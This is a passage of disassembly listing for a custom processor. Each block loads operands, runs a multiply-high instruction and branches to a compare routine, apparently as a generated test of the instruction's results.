5a1c: 10 40 02 10 ld32 r16,r16
5a20: 0d 45 19 3c wl16 r9,0x28dc
5a24: 0d 60 01 23 wh16 r9,0x3
5a28: 10 40 01 29 ld32 r9,r9
5a2c: 00 60 01 10 mulh r8,r16
5a30: 20 70 03 e2 movepc rret,8
5a34: 14 30 e9 77 br 10 <compare>,#al
5a38: 00 10 00 41 add r2,1
5a3c: 0d 40 dd 08 wl16 r8,0x6e8
5a40: 0d 60 01 03 wh16 r8,0x3
5a44: 10 40 01 08 ld32 r8,r8
5a48: 0d 42 fe 04 wl16 r16,0x17e4
5a4c: 0d 60 02 03 wh16 r16,0x3
5a50: 10 40 02 10 ld32 r16,r16
5a54: 0d 45 1d 20 wl16 r9,0x28e0
5a58: 0d 60 01 23 wh16 r9,0x3
5a5c: 10 40 01 29 ld32 r9,r9
5a60: 00 60 01 10 mulh r8,r16
5a64: 20 70 03 e2 movepc rret,8
5a68: 14 30 e9 6a br 10 <compare>,#al
5a6c: 00 10 00 41 add r2,1
5a70: 0d 40 dd 0c wl16 r8,0x6ec
5a74: 0d 60 01 03 wh16 r8,0x3
5a78: 10 40 01 08 ld32 r8,r8
5a7c: 0d 42 fe 08 wl16 r16,0x17e8
5a80: 0d 60 02 03 wh16 r16,0x3
5a84: 10 40 02 10 ld32 r16,r16
5a88: 0d 45 1d 24 wl16 r9,0x28e4
5a8c: 0d 60 01 23 wh16 r9,0x3
5a90: 10 40 01 29 ld32 r9,r9
5a94: 00 60 01 10 mulh r8,r16
5a98: 20 70 03 e2 movepc rret,8
5a9c: 14 30 e9 5d br 10 <compare>,#al
5aa0: 00 10 00 41 add r2,1
5aa4: 0d 40 dd 10 wl16 r8,0x6f0
5aa8: 0d 60 01 03 wh16 r8,0x3
5aac: 10 40 01 08 ld32 r8,r8
5ab0: 0d 42 fe 0c wl16 r16,0x17ec
5ab4: 0d 60 02 03 wh16 r16,0x3
5ab8: 10 40 02 10 ld32 r16,r16
5abc: 0d 45 1d 28 wl16 r9,0x28e8
5ac0: 0d 60 01 23 wh16 r9,0x3
5ac4: 10 40 01 29 ld32 r9,r9
5ac8: 00 60 01 10 mulh r8,r16
5acc: 20 70 03 e2 movepc rret,8
5ad0: 14 30 e9 50 br 10 <compare>,#al
5ad4: 00 10 00 41 add r2,1
5ad8: 0d 40 dd 14 wl16 r8,0x6f4
5adc: 0d 60 01 03 wh16 r8,0x3
5ae0: 10 40 01 08 ld32 r8,r8
5ae4: 0d 42 fe 10 wl16 r16,0x17f0
5ae8: 0d 60 02 03 wh16 r16,0x3
5aec: 10 40 02 10 ld32 r16,r16
5af0: 0d 45 1d 2c wl16 r9,0x28ec
5af4: 0d 60 01 23 wh16 r9,0x3
5af8: 10 40 01 29 ld32 r9,r9
5afc: 00 60 01 10 mulh r8,r16
5b00: 20 70 03 e2 movepc rret,8
5b04: 14 30 e9 43 br 10 <compare>,#al
5b08: 00 10 00 41 add r2,1
5b0c: 0d 40 dd 18 wl16 r8,0x6f8
5b10: 0d 60 01 03 wh16 r8,0x3
5b14: 10 40 01 08 ld32 r8,r8
5b18: 0d 42 fe 14 wl16 r16,0x17f4
5b1c: 0d 60 02 03 wh16 r16,0x3
5b20: 10 40 02 10 ld32 r16,r16
5b24: 0d 45 1d 30 wl16 r9,0x28f0
5b28: 0d 60 01 23 wh16 r9,0x3
5b2c: 10 40 01 29 ld32 r9,r9
5b30: 00 60 01 10 mulh r8,r16
5b34: 20 70 03 e2 movepc rret,8
5b38: 14 30 e9 36 br 10 <compare>,#al
5b3c: 00 10 00 41 add r2,1
5b40: 0d 40 dd 1c wl16 r8,0x6fc
5b44: 0d 60 01 03 wh16 r8,0x3
5b48: 10 40 01 08 ld32 r8,r8
5b4c: 0d 42 fe 18 wl16 r16,0x17f8
5b50: 0d 60 02 03 wh16 r16,0x3
5b54: 10 40 02 10 ld32 r16,r16
5b58: 0d 45 1d 34 wl16 r9,0x28f4
5b5c: 0d 60 01 23 wh16 r9,0x3
5b60: 10 40 01 29 ld32 r9,r9
5b64: 00 60 01 10 mulh r8,r16
5b68: 20 70 03 e2 movepc rret,8
5b6c: 14 30 e9 29 br 10 <compare>,#al
5b70: 00 10 00 41 add r2,1
5b74: 0d 40 e1 00 wl16 r8,0x700
5b78: 0d 60 01 03 wh16 r8,0x3
5b7c: 10 40 01 08 ld32 r8,r8
5b80: 0d 42 fe 1c wl16 r16,0x17fc
5b84: 0d 60 02 03 wh16 r16,0x3
5b88: 10 40 02 10 ld32 r16,r16
5b8c: 0d 45 1d 38 wl16 r9,0x28f8
5b90: 0d 60 01 23 wh16 r9,0x3
5b94: 10 40 01 29 ld32 r9,r9
5b98: 00 60 01 10 mulh r8,r16
5b9c: 20 70 03 e2 movepc rret,8
5ba0: 14 30 e9 1c br 10 <compare>,#al
5ba4: 00 10 00 41 add r2,1
5ba8: 0d 40 e1 04 wl16 r8,0x704
5bac: 0d 60 01 03 wh16 r8,0x3
5bb0: 10 40 01 08 ld32 r8,r8
5bb4: 0d 43 02 00 wl16 r16,0x1800
5bb8: 0d 60 02 03 wh16 r16,0x3
5bbc: 10 40 02 10 ld32 r16,r16
5bc0: 0d 45 1d 3c wl16 r9,0x28fc
5bc4: 0d 60 01 23 wh16 r9,0x3
5bc8: 10 40 01 29 ld32 r9,r9
5bcc: 00 60 01 10 mulh r8,r16
5bd0: 20 70 03 e2 movepc rret,8
5bd4: 14 30 e9 0f br 10 <compare>,#al
5bd8: 00 10 00 41 add r2,1
5bdc: 0d 40 e1 08 wl16 r8,0x708
5be0: 0d 60 01 03 wh16 r8,0x3
5be4: 10 40 01 08 ld32 r8,r8
5be8: 0d 43 02 04 wl16 r16,0x1804
5bec: 0d 60 02 03 wh16 r16,0x3
5bf0: 10 40 02 10 ld32 r16,r16
5bf4: 0d 45 21 20 wl16 r9,0x2900
5bf8: 0d 60 01 23 wh16 r9,0x3
5bfc: 10 40 01 29 ld32 r9,r9
5c00: 00 60 01 10 mulh r8,r16
5c04: 20 70 03 e2 movepc rret,8
5c08: 14 30 e9 02 br 10 <compare>,#al
5c0c: 00 10 00 41 add r2,1
5c10: 0d 40 e1 0c wl16 r8,0x70c
5c14: 0d 60 01 03 wh16 r8,0x3
5c18: 10 40 01 08 ld32 r8,r8
5c1c: 0d 43 02 08 wl16 r16,0x1808
5c20: 0d 60 02 03 wh16 r16,0x3
5c24: 10 40 02 10 ld32 r16,r16
5c28: 0d 45 21 24 wl16 r9,0x2904
5c2c: 0d 60 01 23 wh16 r9,0x3
5c30: 10 40 01 29 ld32 r9,r9
5c34: 00 60 01 10 mulh r8,r16
5c38: 20 70 03 e2 movepc rret,8
5c3c: 14 30 e8 f5 br 10 <compare>,#al
5c40: 00 10 00 41 add r2,1
5c44: 0d 40 e1 10 wl16 r8,0x710
5c48: 0d 60 01 03 wh16 r8,0x3
5c4c: 10 40 01 08 ld32 r8,r8
5c50: 0d 43 02 0c wl16 r16,0x180c
5c54: 0d 60 02 03 wh16 r16,0x3
5c58: 10 40 02 10 ld32 r16,r16
5c5c: 0d 45 21 28 wl16 r9,0x2908
5c60: 0d 60 01 23 wh16 r9,0x3
5c64: 10 40 01 29 ld32 r9,r9
5c68: 00 60 01 10 mulh r8,r16
5c6c: 20 70 03 e2 movepc rret,8
5c70: 14 30 e8 e8 br 10 <compare>,#al
5c74: 00 10 00 41 add r2,1
5c78: 0d 40 e1 14 wl16 r8,0x714
5c7c: 0d 60 01 03 wh16 r8,0x3
5c80: 10 40 01 08 ld32 r8,r8
5c84: 0d 43 02 10 wl16 r16,0x1810
5c88: 0d 60 02 03 wh16 r16,0x3
5c8c: 10 40 02 10 ld32 r16,r16
5c90: 0d 45 21 2c wl16 r9,0x290c
5c94: 0d 60 01 23 wh16 r9,0x3
5c98: 10 40 01 29 ld32 r9,r9
5c9c: 00 60 01 10 mulh r8,r16
5ca0: 20 70 03 e2 movepc rret,8
5ca4: 14 30 e8 db br 10 <compare>,#al
5ca8: 00 10 00 41 add r2,1
5cac: 0d 40 e1 18 wl16 r8,0x718
5cb0: 0d 60 01 03 wh16 r8,0x3
5cb4: 10 40 01 08 ld32 r8,r8
5cb8: 0d 43 02 14 wl16 r16,0x1814
5cbc: 0d 60 02 03 wh16 r16,0x3
5cc0: 10 40 02 10 ld32 r16,r16
5cc4: 0d 45 21 30 wl16 r9,0x2910
5cc8: 0d 60 01 23 wh16 r9,0x3
5ccc: 10 40 01 29 ld32 r9,r9
5cd0: 00 60 01 10 mulh r8,r16
5cd4: 20 70 03 e2 movepc rret,8
5cd8: 14 30 e8 ce br 10 <compare>,#al
5cdc: 00 10 00 41 add r2,1
5ce0: 0d 40 e1 1c wl16 r8,0x71c
5ce4: 0d 60 01 03 wh16 r8,0x3
5ce8: 10 40 01 08 ld32 r8,r8
5cec: 0d 43 02 18 wl16 r16,0x1818
5cf0: 0d 60 02 03 wh16 r16,0x3
5cf4: 10 40 02 10 ld32 r16,r16
5cf8: 0d 45 21 34 wl16 r9,0x2914
5cfc: 0d 60 01 23 wh16 r9,0x3
5d00: 10 40 01 29 ld32 r9,r9
5d04: 00 60 01 10 mulh r8,r16
5d08: 20 70 03 e2 movepc rret,8
5d0c: 14 30 e8 c1 br 10 <compare>,#al
5d10: 00 10 00 41 add r2,1
5d14: 0d 40 e5 00 wl16 r8,0x720
5d18: 0d 60 01 03 wh16 r8,0x3
5d1c: 10 40 01 08 ld32 r8,r8
5d20: 0d 43 02 1c wl16 r16,0x181c
5d24: 0d 60 02 03 wh16 r16,0x3
5d28: 10 40 02 10 ld32 r16,r16
5d2c: 0d 45 21 38 wl16 r9,0x2918
5d30: 0d 60 01 23 wh16 r9,0x3
5d34: 10 40 01 29 ld32 r9,r9
5d38: 00 60 01 10 mulh r8,r16
5d3c: 20 70 03 e2 movepc rret,8
5d40: 14 30 e8 b4 br 10 <compare>,#al
5d44: 00 10 00 41 add r2,1
5d48: 0d 40 e5 04 wl16 r8,0x724
5d4c: 0d 60 01 03 wh16 r8,0x3
5d50: 10 40 01 08 ld32 r8,r8
5d54: 0d 43 06 00 wl16 r16,0x1820
5d58: 0d 60 02 03 wh16 r16,0x3
5d5c: 10 40 02 10 ld32 r16,r16
5d60: 0d 45 21 3c wl16 r9,0x291c
5d64: 0d 60 01 23 wh16 r9,0x3
5d68: 10 40 01 29 ld32 r9,r9
5d6c: 00 60 01 10 mulh r8,r16
5d70: 20 70 03 e2 movepc rret,8
5d74: 14 30 e8 a7 br 10 <compare>,#al
5d78: 00 10 00 41 add r2,1
5d7c: 0d 40 e5 08 wl16 r8,0x728
5d80: 0d 60 01 03 wh16 r8,0x3
5d84: 10 40 01 08 ld32 r8,r8
5d88: 0d 43 06 04 wl16 r16,0x1824
5d8c: 0d 60 02 03 wh16 r16,0x3
5d90: 10 40 02 10 ld32 r16,r16
5d94: 0d 45 25 20 wl16 r9,0x2920
5d98: 0d 60 01 23 wh16 r9,0x3
5d9c: 10 40 01 29 ld32 r9,r9
5da0: 00 60 01 10 mulh r8,r16
5da4: 20 70 03 e2 movepc rret,8
5da8: 14 30 e8 9a br 10 <compare>,#al
5dac: 00 10 00 41 add r2,1
5db0: 0d 40 e5 0c wl16 r8,0x72c
5db4: 0d 60 01 03 wh16 r8,0x3
5db8: 10 40 01 08 ld32 r8,r8
5dbc: 0d 43 06 08 wl16 r16,0x1828
5dc0: 0d 60 02 03 wh16 r16,0x3
5dc4: 10 40 02 10 ld32 r16,r16
5dc8: 0d 45 25 24 wl16 r9,0x2924
5dcc: 0d 60 01 23 wh16 r9,0x3
5dd0: 10 40 01 29 ld32 r9,r9
5dd4: 00 60 01 10 mulh r8,r16
5dd8: 20 70 03 e2 movepc rret,8
5ddc: 14 30 e8 8d br 10 <compare>,#al
5de0: 00 10 00 41 add r2,1
5de4: 0d 40 e5 10 wl16 r8,0x730
5de8: 0d 60 01 03 wh16 r8,0x3
5dec: 10 40 01 08 ld32 r8,r8
5df0: 0d 43 06 0c wl16 r16,0x182c
5df4: 0d 60 02 03 wh16 r16,0x3
5df8: 10 40 02 10 ld32 r16,r16
5dfc: 0d 45 25 28 wl16 r9,0x2928
5e00: 0d 60 01 23 wh16 r9,0x3
5e04: 10 40 01 29 ld32 r9,r9
5e08: 00 60 01 10 mulh r8,r16
5e0c: 20 70 03 e2 movepc rret,8
5e10: 14 30 e8 80 br 10 <compare>,#al
5e14: 00 10 00 41 add r2,1
5e18: 0d 40 e5 14 wl16 r8,0x734
5e1c: 0d 60 01 03 wh16 r8,0x3
5e20: 10 40 01 08 ld32 r8,r8
5e24: 0d 43 06 10 wl16 r16,0x1830
5e28: 0d 60 02 03 wh16 r16,0x3
5e2c: 10 40 02 10 ld32 r16,r16
5e30: 0d 45 25 2c wl16 r9,0x292c
5e34: 0d 60 01 23 wh16 r9,0x3
5e38: 10 40 01 29 ld32 r9,r9
5e3c: 00 60 01 10 mulh r8,r16
5e40: 20 70 03 e2 movepc rret,8
5e44: 14 30 e8 73 br 10 <compare>,#al
5e48: 00 10 00 41 add r2,1
5e4c: 0d 40 e5 18 wl16 r8,0x738
5e50: 0d 60 01 03 wh16 r8,0x3
5e54: 10 40 01 08 ld32 r8,r8
5e58: 0d 43 06 14 wl16 r16,0x1834
5e5c: 0d 60 02 03 wh16 r16,0x3
5e60: 10 40 02 10 ld32 r16,r16
5e64: 0d 45 25 30 wl16 r9,0x2930
5e68: 0d 60 01 23 wh16 r9,0x3
5e6c: 10 40 01 29 ld32 r9,r9
5e70: 00 60 01 10 mulh r8,r16
5e74: 20 70 03 e2 movepc rret,8
5e78: 14 30 e8 66 br 10 <compare>,#al
5e7c: 00 10 00 41 add r2,1
5e80: 0d 40 e5 1c wl16 r8,0x73c
5e84: 0d 60 01 03 wh16 r8,0x3
5e88: 10 40 01 08 ld32 r8,r8
5e8c: 0d 43 06 18 wl16 r16,0x1838
5e90: 0d 60 02 03 wh16 r16,0x3
5e94: 10 40 02 10 ld32 r16,r16
5e98: 0d 45 25 34 wl16 r9,0x2934
5e9c: 0d 60 01 23 wh16 r9,0x3
5ea0: 10 40 01 29 ld32 r9,r9
5ea4: 00 60 01 10 mulh r8,r16
5ea8: 20 70 03 e2 movepc rret,8
5eac: 14 30 e8 59 br 10 <compare>,#al
5eb0: 00 10 00 41 add r2,1
5eb4: 0d 40 e9 00 wl16 r8,0x740
5eb8: 0d 60 01 03 wh16 r8,0x3
5ebc: 10 40 01 08 ld32 r8,r8
5ec0: 0d 43 06 1c wl16 r16,0x183c
5ec4: 0d 60 02 03 wh16 r16,0x3
5ec8: 10 40 02 10 ld32 r16,r16
5ecc: 0d 45 25 38 wl16 r9,0x2938
5ed0: 0d 60 01 23 wh16 r9,0x3
5ed4: 10 40 01 29 ld32 r9,r9
5ed8: 00 60 01 10 mulh r8,r16
5edc: 20 70 03 e2 movepc rret,8
5ee0: 14 30 e8 4c br 10 <compare>,#al
5ee4: 00 10 00 41 add r2,1
5ee8: 0d 40 e9 04 wl16 r8,0x744
5eec: 0d 60 01 03 wh16 r8,0x3
5ef0: 10 40 01 08 ld32 r8,r8
5ef4: 0d 43 0a 00 wl16 r16,0x1840
5ef8: 0d 60 02 03 wh16 r16,0x3
5efc: 10 40 02 10 ld32 r16,r16
5f00: 0d 45 25 3c wl16 r9,0x293c
5f04: 0d 60 01 23 wh16 r9,0x3
5f08: 10 40 01 29 ld32 r9,r9
5f0c: 00 60 01 10 mulh r8,r16
5f10: 20 70 03 e2 movepc rret,8
5f14: 14 30 e8 3f br 10 <compare>,#al
5f18: 00 10 00 41 add r2,1
5f1c: 0d 40 e9 08 wl16 r8,0x748
5f20: 0d 60 01 03 wh16 r8,0x3
5f24: 10 40 01 08 ld32 r8,r8
5f28: 0d 43 0a 04 wl16 r16,0x1844
5f2c: 0d 60 02 03 wh16 r16,0x3
5f30: 10 40 02 10 ld32 r16,r16
5f34: 0d 45 29 20 wl16 r9,0x2940
5f38: 0d 60 01 23 wh16 r9,0x3
5f3c: 10 40 01 29 ld32 r9,r9
5f40: 00 60 01 10 mulh r8,r16
5f44: 20 70 03 e2 movepc rret,8
5f48: 14 30 e8 32 br 10 <compare>,#al
5f4c: 00 10 00 41 add r2,1
5f50: 0d 40 e9 0c wl16 r8,0x74c
5f54: 0d 60 01 03 wh16 r8,0x3
5f58: 10 40 01 08 ld32 r8,r8
5f5c: 0d 43 0a 08 wl16 r16,0x1848
5f60: 0d 60 02 03 wh16 r16,0x3
5f64: 10 40 02 10 ld32 r16,r16
5f68: 0d 45 29 24 wl16 r9,0x2944
5f6c: 0d 60 01 23 wh16 r9,0x3
5f70: 10 40 01 29 ld32 r9,r9
5f74: 00 60 01 10 mulh r8,r16
5f78: 20 70 03 e2 movepc rret,8
5f7c: 14 30 e8 25 br 10 <compare>,#al
5f80: 00 10 00 41 add r2,1
5f84: 0d 40 e9 10 wl16 r8,0x750
5f88: 0d 60 01 03 wh16 r8,0x3
5f8c: 10 40 01 08 ld32 r8,r8
5f90: 0d 43 0a 0c wl16 r16,0x184c
5f94: 0d 60 02 03 wh16 r16,0x3
5f98: 10 40 02 10 ld32 r16,r16
5f9c: 0d 45 29 28 wl16 r9,0x2948
5fa0: 0d 60 01 23 wh16 r9,0x3
5fa4: 10 40 01 29 ld32 r9,r9
5fa8: 00 60 01 10 mulh r8,r16
5fac: 20 70 03 e2 movepc rret,8
5fb0: 14 30 e8 18 br 10 <compare>,#al
5fb4: 00 10 00 41 add r2,1
5fb8: 0d 40 e9 14 wl16 r8,0x754
5fbc: 0d 60 01 03 wh16 r8,0x3
5fc0: 10 40 01 08 ld32 r8,r8
5fc4: 0d 43 0a 10 wl16 r16,0x1850
5fc8: 0d 60 02 03 wh16 r16,0x3
5fcc: 10 40 02 10 ld32 r16,r16
5fd0: 0d 45 29 2c wl16 r9,0x294c
5fd4: 0d 60 01 23 wh16 r9,0x3
5fd8: 10 40 01 29 ld32 r9,r9
5fdc: 00 60 01 10 mulh r8,r16
5fe0: 20 70 03 e2 movepc rret,8
5fe4: 14 30 e8 0b br 10 <compare>,#al
5fe8: 00 10 00 41 add r2,1
5fec: 0d 40 e9 18 wl16 r8,0x758
5ff0: 0d 60 01 03 wh16 r8,0x3
5ff4: 10 40 01 08 ld32 r8,r8
5ff8: 0d 43 0a 14 wl16 r16,0x1854
5ffc: 0d 60 02 03 wh16 r16,0x3
6000: 10 40 02 10 ld32 r16,r16
6004: 0d 45 29 30 wl16 r9,0x2950
6008: 0d 60 01 23 wh16 r9,0x3
600c: 10 40 01 29 ld32 r9,r9
6010: 00 60 01 10 mulh r8,r16
6014: 20 70 03 e2 movepc rret,8
6018: 14 30 e7 fe br 10 <compare>,#al
601c: 00 10 00 41 add r2,1
6020: 0d 40 e9 1c wl16 r8,0x75c
6024: 0d 60 01 03 wh16 r8,0x3
6028: 10 40 01 08 ld32 r8,r8
602c: 0d 43 0a 18 wl16 r16,0x1858
6030: 0d 60 02 03 wh16 r16,0x3
6034: 10 40 02 10 ld32 r16,r16
6038: 0d 45 29 34 wl16 r9,0x2954
603c: 0d 60 01 23 wh16 r9,0x3
6040: 10 40 01 29 ld32 r9,r9
6044: 00 60 01 10 mulh r8,r16
6048: 20 70 03 e2 movepc rret,8
604c: 14 30 e7 f1 br 10 <compare>,#al
6050: 00 10 00 41 add r2,1
6054: 0d 40 ed 00 wl16 r8,0x760
6058: 0d 60 01 03 wh16 r8,0x3
605c: 10 40 01 08 ld32 r8,r8
6060: 0d 43 0a 1c wl16 r16,0x185c
6064: 0d 60 02 03 wh16 r16,0x3
6068: 10 40 02 10 ld32 r16,r16
606c: 0d 45 29 38 wl16 r9,0x2958
6070: 0d 60 01 23 wh16 r9,0x3
6074: 10 40 01 29 ld32 r9,r9
6078: 00 60 01 10 mulh r8,r16
607c: 20 70 03 e2 movepc rret,8
6080: 14 30 e7 e4 br 10 <compare>,#al
6084: 00 10 00 41 add r2,1
6088: 0d 40 ed 04 wl16 r8,0x764
608c: 0d 60 01 03 wh16 r8,0x3
6090: 10 40 01 08 ld32 r8,r8
6094: 0d 43 0e 00 wl16 r16,0x1860
6098: 0d 60 02 03 wh16 r16,0x3
609c: 10 40 02 10 ld32 r16,r16
60a0: 0d 45 29 3c wl16 r9,0x295c
60a4: 0d 60 01 23 wh16 r9,0x3
60a8: 10 40 01 29 ld32 r9,r9
60ac: 00 60 01 10 mulh r8,r16
60b0: 20 70 03 e2 movepc rret,8
60b4: 14 30 e7 d7 br 10 <compare>,#al
60b8: 00 10 00 41 add r2,1
60bc: 0d 40 ed 08 wl16 r8,0x768
60c0: 0d 60 01 03 wh16 r8,0x3
60c4: 10 40 01 08 ld32 r8,r8
60c8: 0d 43 0e 04 wl16 r16,0x1864
60cc: 0d 60 02 03 wh16 r16,0x3
60d0: 10 40 02 10 ld32 r16,r16
60d4: 0d 45 2d 20 wl16 r9,0x2960
60d8: 0d 60 01 23 wh16 r9,0x3
60dc: 10 40 01 29 ld32 r9,r9
60e0: 00 60 01 10 mulh r8,r16
60e4: 20 70 03 e2 movepc rret,8
60e8: 14 30 e7 ca br 10 <compare>,#al
60ec: 00 10 00 41 add r2,1
60f0: 0d 40 ed 0c wl16 r8,0x76c
60f4: 0d 60 01 03 wh16 r8,0x3
60f8: 10 40 01 08 ld32 r8,r8
60fc: 0d 43 0e 08 wl16 r16,0x1868
6100: 0d 60 02 03 wh16 r16,0x3
6104: 10 40 02 10 ld32 r16,r16
6108: 0d 45 2d 24 wl16 r9,0x2964
610c: 0d 60 01 23 wh16 r9,0x3
6110: 10 40 01 29 ld32 r9,r9
6114: 00 60 01 10 mulh r8,r16
6118: 20 70 03 e2 movepc rret,8
611c: 14 30 e7 bd br 10 <compare>,#al
6120: 00 10 00 41 add r2,1
6124: 0d 40 ed 10 wl16 r8,0x770
6128: 0d 60 01 03 wh16 r8,0x3
612c: 10 40 01 08 ld32 r8,r8
6130: 0d 43 0e 0c wl16 r16,0x186c
6134: 0d 60 02 03 wh16 r16,0x3
6138: 10 40 02 10 ld32 r16,r16
613c: 0d 45 2d 28 wl16 r9,0x2968
6140: 0d 60 01 23 wh16 r9,0x3
6144: 10 40 01 29 ld32 r9,r9
6148: 00 60 01 10 mulh r8,r16
614c: 20 70 03 e2 movepc rret,8
6150: 14 30 e7 b0 br 10 <compare>,#al
6154: 00 10 00 41 add r2,1
6158: 0d 40 ed 14 wl16 r8,0x774
615c: 0d 60 01 03 wh16 r8,0x3
6160: 10 40 01 08 ld32 r8,r8
6164: 0d 43 0e 10 wl16 r16,0x1870
6168: 0d 60 02 03 wh16 r16,0x3
616c: 10 40 02 10 ld32 r16,r16
6170: 0d 45 2d 2c wl16 r9,0x296c
6174: 0d 60 01 23 wh16 r9,0x3
6178: 10 40 01 29 ld32 r9,r9
617c: 00 60 01 10 mulh r8,r16
6180: 20 70 03 e2 movepc rret,8
6184: 14 30 e7 a3 br 10 <compare>,#al
6188: 00 10 00 41 add r2,1
618c: 0d 40 ed 18 wl16 r8,0x778
6190: 0d 60 01 03 wh16 r8,0x3
6194: 10 40 01 08 ld32 r8,r8
6198: 0d 43 0e 14 wl16 r16,0x1874
619c: 0d 60 02 03 wh16 r16,0x3
61a0: 10 40 02 10 ld32 r16,r16
61a4: 0d 45 2d 30 wl16 r9,0x2970
61a8: 0d 60 01 23 wh16 r9,0x3
61ac: 10 40 01 29 ld32 r9,r9
61b0: 00 60 01 10 mulh r8,r16
61b4: 20 70 03 e2 movepc rret,8
61b8: 14 30 e7 96 br 10 <compare>,#al
61bc: 00 10 00 41 add r2,1
61c0: 0d 40 ed 1c wl16 r8,0x77c
61c4: 0d 60 01 03 wh16 r8,0x3
61c8: 10 40 01 08 ld32 r8,r8
61cc: 0d 43 0e 18 wl16 r16,0x1878
61d0: 0d 60 02 03 wh16 r16,0x3
61d4: 10 40 02 10 ld32 r16,r16
61d8: 0d 45 2d 34 wl16 r9,0x2974
61dc: 0d 60 01 23 wh16 r9,0x3
61e0: 10 40 01 29 ld32 r9,r9
61e4: 00 60 01 10 mulh r8,r16
61e8: 20 70 03 e2 movepc rret,8
61ec: 14 30 e7 89 br 10 <compare>,#al
61f0: 00 10 00 41 add r2,1
61f4: 0d 40 f1 00 wl16 r8,0x780
61f8: 0d 60 01 03 wh16 r8,0x3
61fc: 10 40 01 08 ld32 r8,r8
6200: 0d 43 0e 1c wl16 r16,0x187c
6204: 0d 60 02 03 wh16 r16,0x3
6208: 10 40 02 10 ld32 r16,r16
620c: 0d 45 2d 38 wl16 r9,0x2978
6210: 0d 60 01 23 wh16 r9,0x3
6214: 10 40 01 29 ld32 r9,r9
6218: 00 60 01 10 mulh r8,r16
621c: 20 70 03 e2 movepc rret,8
6220: 14 30 e7 7c br 10 <compare>,#al
6224: 00 10 00 41 add r2,1
6228: 0d 40 f1 04 wl16 r8,0x784
622c: 0d 60 01 03 wh16 r8,0x3
6230: 10 40 01 08 ld32 r8,r8
6234: 0d 43 12 00 wl16 r16,0x1880
6238: 0d 60 02 03 wh16 r16,0x3
623c: 10 40 02 10 ld32 r16,r16
6240: 0d 45 2d 3c wl16 r9,0x297c
6244: 0d 60 01 23 wh16 r9,0x3
6248: 10 40 01 29 ld32 r9,r9
624c: 00 60 01 10 mulh r8,r16
6250: 20 70 03 e2 movepc rret,8
6254: 14 30 e7 6f br 10 <compare>,#al
6258: 00 10 00 41 add r2,1
625c: 0d 40 f1 08 wl16 r8,0x788
6260: 0d 60 01 03 wh16 r8,0x3
6264: 10 40 01 08 ld32 r8,r8
6268: 0d 43 12 04 wl16 r16,0x1884
626c: 0d 60 02 03 wh16 r16,0x3
6270: 10 40 02 10 ld32 r16,r16
6274: 0d 45 31 20 wl16 r9,0x2980
6278: 0d 60 01 23 wh16 r9,0x3
627c: 10 40 01 29 ld32 r9,r9
6280: 00 60 01 10 mulh r8,r16
6284: 20 70 03 e2 movepc rret,8
6288: 14 30 e7 62 br 10 <compare>,#al
628c: 00 10 00 41 add r2,1
6290: 0d 40 f1 0c wl16 r8,0x78c
6294: 0d 60 01 03 wh16 r8,0x3
6298: 10 40 01 08 ld32 r8,r8
629c: 0d 43 12 08 wl16 r16,0x1888
62a0: 0d 60 02 03 wh16 r16,0x3
62a4: 10 40 02 10 ld32 r16,r16
62a8: 0d 45 31 24 wl16 r9,0x2984
62ac: 0d 60 01 23 wh16 r9,0x3
62b0: 10 40 01 29 ld32 r9,r9
62b4: 00 60 01 10 mulh r8,r16
62b8: 20 70 03 e2 movepc rret,8
62bc: 14 30 e7 55 br 10 <compare>,#al
62c0: 00 10 00 41 add r2,1
62c4: 0d 40 f1 10 wl16 r8,0x790
62c8: 0d 60 01 03 wh16 r8,0x3
62cc: 10 40 01 08 ld32 r8,r8
62d0: 0d 43 12 0c wl16 r16,0x188c
62d4: 0d 60 02 03 wh16 r16,0x3
62d8: 10 40 02 10 ld32 r16,r16
62dc: 0d 45 31 28 wl16 r9,0x2988
62e0: 0d 60 01 23 wh16 r9,0x3
62e4: 10 40 01 29 ld32 r9,r9
62e8: 00 60 01 10 mulh r8,r16
62ec: 20 70 03 e2 movepc rret,8
62f0: 14 30 e7 48 br 10 <compare>,#al
62f4: 00 10 00 41 add r2,1
62f8: 0d 40 f1 14 wl16 r8,0x794
62fc: 0d 60 01 03 wh16 r8,0x3
6300: 10 40 01 08 ld32 r8,r8
6304: 0d 43 12 10 wl16 r16,0x1890
6308: 0d 60 02 03 wh16 r16,0x3
630c: 10 40 02 10 ld32 r16,r16
6310: 0d 45 31 2c wl16 r9,0x298c
6314: 0d 60 01 23 wh16 r9,0x3
6318: 10 40 01 29 ld32 r9,r9
631c: 00 60 01 10 mulh r8,r16
6320: 20 70 03 e2 movepc rret,8
6324: 14 30 e7 3b br 10 <compare>,#al
6328: 00 10 00 41 add r2,1
632c: 0d 40 f1 18 wl16 r8,0x798
6330: 0d 60 01 03 wh16 r8,0x3
6334: 10 40 01 08 ld32 r8,r8
6338: 0d 43 12 14 wl16 r16,0x1894
633c: 0d 60 02 03 wh16 r16,0x3
6340: 10 40 02 10 ld32 r16,r16
6344: 0d 45 31 30 wl16 r9,0x2990
6348: 0d 60 01 23 wh16 r9,0x3
634c: 10 40 01 29 ld32 r9,r9
6350: 00 60 01 10 mulh r8,r16
6354: 20 70 03 e2 movepc rret,8
6358: 14 30 e7 2e br 10 <compare>,#al
635c: 00 10 00 41 add r2,1
6360: 0d 40 f1 1c wl16 r8,0x79c
6364: 0d 60 01 03 wh16 r8,0x3
6368: 10 40 01 08 ld32 r8,r8
636c: 0d 43 12 18 wl16 r16,0x1898
6370: 0d 60 02 03 wh16 r16,0x3
6374: 10 40 02 10 ld32 r16,r16
6378: 0d 45 31 34 wl16 r9,0x2994
637c: 0d 60 01 23 wh16 r9,0x3
6380: 10 40 01 29 ld32 r9,r9
6384: 00 60 01 10 mulh r8,r16
6388: 20 70 03 e2 movepc rret,8
638c: 14 30 e7 21 br 10 <compare>,#al
6390: 00 10 00 41 add r2,1
6394: 0d 40 f5 00 wl16 r8,0x7a0
6398: 0d 60 01 03 wh16 r8,0x3
639c: 10 40 01 08 ld32 r8,r8
63a0: 0d 43 12 1c wl16 r16,0x189c
63a4: 0d 60 02 03 wh16 r16,0x3
63a8: 10 40 02 10 ld32 r16,r16
63ac: 0d 45 31 38 wl16 r9,0x2998
63b0: 0d 60 01 23 wh16 r9,0x3
63b4: 10 40 01 29 ld32 r9,r9
63b8: 00 60 01 10 mulh r8,r16
63bc: 20 70 03 e2 movepc rret,8
63c0: 14 30 e7 14 br 10 <compare>,#al
63c4: 00 10 00 41 add r2,1
63c8: 0d 40 f5 04 wl16 r8,0x7a4
63cc: 0d 60 01 03 wh16 r8,0x3
63d0: 10 40 01 08 ld32 r8,r8
